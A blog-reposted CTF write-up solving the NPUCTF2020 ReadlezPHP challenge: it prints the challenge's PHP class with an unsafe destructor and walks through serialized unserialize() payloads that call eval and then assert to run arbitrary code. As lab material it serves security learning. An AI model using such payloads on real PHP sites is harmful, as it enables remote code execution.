当前位置:网站首页>[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ReadlezPHP
2022-07-06 11:32:00 【Her&mes】
WP
If there is any wrong , Also please correct me
Enter the target environment , Go through the process :
1. Look at the source code
2. Manually try to access several common web page names ,
3. use dirsearch Scan website .
Find a link directly in the source code :
<p> Millions of front-end NPU The time center tells you the time :<a href="./time.php?source"></a></p>
visit /time.php?source
, Now enter the subject gate , White box audit , It seems to be a relatively simple deserialization
White box code :
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
Try to construct payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
And then there's no then , Page echo “500, Unable to process request ”, I have no more , There's a filter , Then change the code , structure payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:4:"eval";}
Same as before , Unable to process request , But var_dump() Generally speaking, it should not be filtered , May be eval Filtered , Switch to assert try
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:6:"assert";}
success , Page echo int(10) 2021-04-07 12:39:47
hold var_dump(10) Switch to phpinfo(),( Remember to change the size ), very good ,phpinfo Not filtered , see disable_functions bar , It's filtered out system,exec,shell_exec
Try searching again flag,ohhhhhhhhhh, There are ( If this is empty … On the importance of good habits ).
PS:assert from 7.2 Strings are no longer supported at first => Cannot perform PHP Code. ( This topic is in BUU On is PHP/7.0.33)
边栏推荐
- vs2019 第一个MFC应用程序
- Error connecting to MySQL database: 2059 - authentication plugin 'caching_ sha2_ The solution of 'password'
- {one week summary} take you into the ocean of JS knowledge
- [download app for free]ineukernel OCR image data recognition and acquisition principle and product application
- Use dapr to shorten software development cycle and improve production efficiency
- double转int精度丢失问题
- Password free login of distributed nodes
- [Blue Bridge Cup 2017 preliminary] grid division
- 软件测试与质量学习笔记3--白盒测试
- Word排版(小计)
猜你喜欢
随机推荐
L2-006 tree traversal (25 points)
MTCNN人脸检测
Rhcsa certification exam exercise (configured on the first host)
ES6 Promise 对象
ES6 let 和 const 命令
nodejs 详解
02 staff information management after the actual project
MySQL and C language connection (vs2019 version)
What does BSP mean
数数字游戏
When using lambda to pass parameters in a loop, the parameters are always the same value
Database advanced learning notes -- SQL statement
Dotnet replaces asp Net core's underlying communication is the IPC Library of named pipes
[蓝桥杯2017初赛]包子凑数
{一周总结}带你走进js知识的海洋
When you open the browser, you will also open mango TV, Tiktok and other websites outside the home page
Record a problem of raspberry pie DNS resolution failure
[Blue Bridge Cup 2017 preliminary] buns make up
Error reporting solution - io UnsupportedOperation: can‘t do nonzero end-relative seeks
QT creator uses Valgrind code analysis tool